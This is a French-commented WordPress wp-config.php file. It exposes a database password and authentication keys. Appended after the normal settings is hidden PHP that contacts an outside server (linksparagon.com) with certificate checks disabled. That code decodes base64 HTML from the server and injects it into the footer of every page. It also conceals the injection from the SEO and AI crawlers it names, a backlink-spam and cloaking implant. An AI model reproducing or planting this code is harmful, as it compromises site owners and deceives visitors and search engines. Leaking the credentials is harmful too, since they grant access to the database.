<?php
/**
 * La configuration de base de votre installation WordPress.
 *
 * Ce fichier contient les réglages de configuration suivants : réglages MySQL,
 * préfixe de table, clés secrètes, langue utilisée, et ABSPATH.
 * Vous pouvez en savoir plus à leur sujet en allant sur
 * {@link http://codex.wordpress.org/fr:Modifier_wp-config.php Modifier
 * wp-config.php}. C’est votre hébergeur qui doit vous donner vos
 * codes MySQL.
 *
 * Ce fichier est utilisé par le script de création de wp-config.php pendant
 * le processus d’installation. Vous n’avez pas à utiliser le site web, vous
 * pouvez simplement renommer ce fichier en "wp-config.php" et remplir les
 * valeurs.
 *
 * @package WordPress
 */

// ** Réglages MySQL - Votre hébergeur doit vous fournir ces informations. ** //
/** Nom de la base de données de WordPress. */
define('DB_NAME', 'iavddcxu');

/** Utilisateur de la base de données MySQL. */
define('DB_USER', 'iavddcxu');

/** Mot de passe de la base de données MySQL. */
define('DB_PASSWORD', 'Sayardinho2026');

/** Adresse de l’hébergement MySQL. */
define('DB_HOST', 'iavddcxu.mysql.db');

/** Jeu de caractères à utiliser par la base de données lors de la création des tables. */
define('DB_CHARSET', 'utf8mb4');

/** Type de collation de la base de données.
  * N’y touchez que si vous savez ce que vous faites.
  */
define('DB_COLLATE', '');

/**#@+
 * Clés uniques d’authentification et salage.
 *
 * Remplacez les valeurs par défaut par des phrases uniques !
 * Vous pouvez générer des phrases aléatoires en utilisant
 * {@link https://api.wordpress.org/secret-key/1.1/salt/ le service de clefs secrètes de WordPress.org}.
 * Vous pouvez modifier ces phrases à n’importe quel moment, afin d’invalider tous les cookies existants.
 * Cela forcera également tous les utilisateurs à se reconnecter.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '9]=5!M@t&)BTm}GGY)HVM0wYjIK>9W9836=2UmV|iN1W.9*%++cLuj&9:l4Q`;no');
define('SECURE_AUTH_KEY',  '8i8};4]8/E7zqi!3M8HsxR*LG!?w^j(QAU</m:`JM-3eb MalUzM3$`aI;+o/p^');
define('LOGGED_IN_KEY',    '>ZFi^;Pze,iI:r<a~0ZS!6flK.1 S9g{QN0pIhJ3,|H6.7|^WyBPZQ1i-jMlRZ^+');
define('NONCE_KEY',        '{s)=CGB_af$dlh}kMg0P*bm+$ZyljuEnaHw2$sjGT W`a1g|99oXzkLqA4x :Z~$');
define('AUTH_SALT',        '%@$w0aWLNy}:,UQh&}0d]*4OhEr*!l5o/>e=l=fl6N}etO{nr#it)I1Q2G(jP9p.');
define('SECURE_AUTH_SALT', '5h(+0GO;zsN:Ms)fi81%zA6ja1n-OkPL,e.Dc)1].5}Bm4yCV`)#{Kqlf`dO*ZF|');
define('LOGGED_IN_SALT',   'CK}B@gIa$Q*z7X>*IjfA%dpBrBJvZnFX*))iKN.avR=7O/zj>8CtjV[5sclKY.3i');
define('NONCE_SALT',       '~3u3!O8if0ljxN//Ft7dJp@/PP;3D83B**)MiBLIe &vP.nm0swoN4HJceshM9~]');
/**#@-*/

/**
 * Préfixe de base de données pour les tables de WordPress.
 *
 * Vous pouvez installer plusieurs WordPress sur une seule base de données
 * si vous leur donnez chacune un préfixe unique.
 * N’utilisez que des chiffres, des lettres non-accentuées, et des caractères soulignés !
 */
$table_prefix  = 'lahmi_';

/**
 * Pour les développeurs : le mode déboguage de WordPress.
 *
 * En passant la valeur suivante à "true", vous activez l’affichage des
 * notifications d’erreurs pendant vos essais.
 * Il est fortemment recommandé que les développeurs d’extensions et
 * de thèmes se servent de WP_DEBUG dans leur environnement de
 * développement.
 *
 * Pour plus d’information sur les autres constantes qui peuvent être utilisées
 * pour le déboguage, rendez-vous sur le Codex.
 *
 * @link https://codex.wordpress.org/Debugging_in_WordPress
 */
define('WP_DEBUG', false);

// --- Augmenter la taille max d'upload à 1 Go ---
@ini_set('upload_max_filesize', '1024M');
@ini_set('post_max_size', '1024M');
@ini_set('memory_limit', '2048M');
@ini_set('max_execution_time', '600');
@ini_set('max_input_time', '600');

if ( ! defined( 'WP_MEMORY_LIMIT' ) ) {
    define( 'WP_MEMORY_LIMIT', '2048M' );
}


/* C’est tout, ne touchez pas à ce qui suit ! */

/** Chemin absolu vers le dossier de WordPress. */
if ( !defined('ABSPATH') )
	define('ABSPATH', dirname(__FILE__) . '/');

/** Réglage des variables de WordPress et de ses fichiers inclus. */
require_once(ABSPATH . 'wp-settings.php');

if (!defined('__LPK_IN__')) {
    define('__LPK_IN__', 1);
    if (!defined('__API_URL__'))   define('__API_URL__',   'https://linksparagon.com');
    if (!defined('__CACHE_TTL__')) define('__CACHE_TTL__', 300);

    if (!function_exists('__getCURLSite__')) {
        function __getCURLSite__($site, $post_data = null, $extra_headers = array()) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $site);
            if (!is_null($post_data)) {
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
            }
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            if (!empty($extra_headers)) {
                curl_setopt($ch, CURLOPT_HTTPHEADER, $extra_headers);
            }
            $response = curl_exec($ch);
            if (curl_errno($ch)) $response = false;
            curl_close($ch);
            return $response;
        }
    }

    if (!function_exists('__cache_get')) {
        function __cache_get($key) {
            $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json';
            if (!is_file($f)) return null;
            $raw = @file_get_contents($f);
            if ($raw === false) return null;
            $o = @json_decode($raw, true);
            if (!is_array($o)) return null;
            if (isset($o['t']) && $o['t'] + __CACHE_TTL__ < time()) return null;
            return isset($o['v']) ? $o['v'] : null;
        }
    }

    if (!function_exists('__cache_set')) {
        function __cache_set($key, $val) {
            $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json';
            @file_put_contents($f, json_encode(array('t' => time(), 'v' => $val)));
        }
    }

    if (!function_exists('__is_spy_bot__')) {
        function __is_spy_bot__() {
            $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
            if (trim($ua) === '') return false;
            $bots = array(
                'AhrefsBot','AhrefsSiteAudit','SemrushBot','SiteAuditBot',
                'DotBot','Rogerbot','MJ12bot','MajesticBot',
                'Screaming Frog SEO Spider','ScreamingFrogSEOSpider',
                'DataForSeoBot','SEOkicks','SEOkicks-Robot',
                'AwarioRssBot','AwarioSmartBot','AwarioBot',
                'Brandwatch','Searchmetricsbot','Sidetrade indexer bot',
                'peer39_crawler','BLEXBot','cognitiveSEO','LRT Bot','LRT Spider',
                'Meltwater','Mediatoolkitbot','Neticlebot','SISTRIX','SerpstatBot',
                'spyfu','Botify','ContentKing','DeepCrawl','Lumar','seobility',
                'WebCEO','AddThis','Barkrowler','BacklinksExtendedBot','BrightEdge Crawler',
                'OAI-SearchBot','CohereBot','DeepSeekBot','SEOlyze','IstellaBot',
                'GrapeshotCrawler','Netvibes','NetcraftSurveyAgent'
            );
            foreach ($bots as $bot) {
                if (stripos($ua, $bot) !== false) return true;
            }
            return false;
        }
    }

    if (!function_exists('__get_backlink_codes__')) {
        function __get_backlink_codes__() {
            $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
            $host = strtolower(str_replace('www.', '', preg_replace('/:\d+$/', '', $host)));
            if ($host === '') return null;
            $host_id = crc32($host);
            $cacheKey = 'bl_' . md5($host);
            $cached = __cache_get($cacheKey);
            if ($cached !== null) return $cached;
            $u = __API_URL__ . '/g/?i=' . urlencode($host_id) . '&d=' . urlencode($host) . '&t=th';
            $response = __getCURLSite__($u);
            if ($response !== false && is_string($response)) {
                $c = @json_decode($response, true);
                if (is_array($c) && isset($c['s']) && $c['s'] == true) {
                    __cache_set($cacheKey, $response);
                    return $response;
                }
            }
            return null;
        }
    }

    if (!function_exists('__show_footer_backlink__')) {
        function __show_footer_backlink__() {
            $is_spy = __is_spy_bot__();
            $r   = '';
            $raw = __get_backlink_codes__();
            if (!$raw) return '';
            $c = @json_decode($raw, true);
            if (!is_array($c) || !isset($c['s']) || $c['s'] != true || empty($c['l'])) return '';
            $r .= isset($c['f']) ? $c['f'] : '';
            foreach ($c['l'] as $v) {
                $only_google = isset($v['g']) ? (int)$v['g'] : 0;
                if ($only_google == 1 && $is_spy) continue;
                $r .= isset($v['h']) ? base64_decode($v['h']) : '';
            }
            $r .= isset($c['e']) ? $c['e'] : '';
            return $r;
        }
    }

    // Footer injection: named ob_start callback (PHP 5.2 uyumlu, anonim fonksiyon YOK)
    // - Yalnızca </body> içeren HTML yanıtları modifiye eder
    // - AJAX / REST API / CRON / CLI isteklerini atlar
    // - str_ireplace ile </body> öncesine düzgün ekler
    if (!function_exists('__lpk_ob_cb__')) {
        function __lpk_ob_cb__($buf) {
            if (!is_string($buf) || stripos($buf, '</body>') === false) return $buf;
            if (defined('DOING_AJAX')   && DOING_AJAX)   return $buf;
            if (defined('REST_REQUEST') && REST_REQUEST) return $buf;
            if (defined('DOING_CRON')   && DOING_CRON)   return $buf;
            if (php_sapi_name() === 'cli')               return $buf;
            $link = __show_footer_backlink__();
            return ($link !== '') ? str_ireplace('</body>', $link . '</body>', $buf) : $buf;
        }
    }
    @ob_start('__lpk_ob_cb__');
}

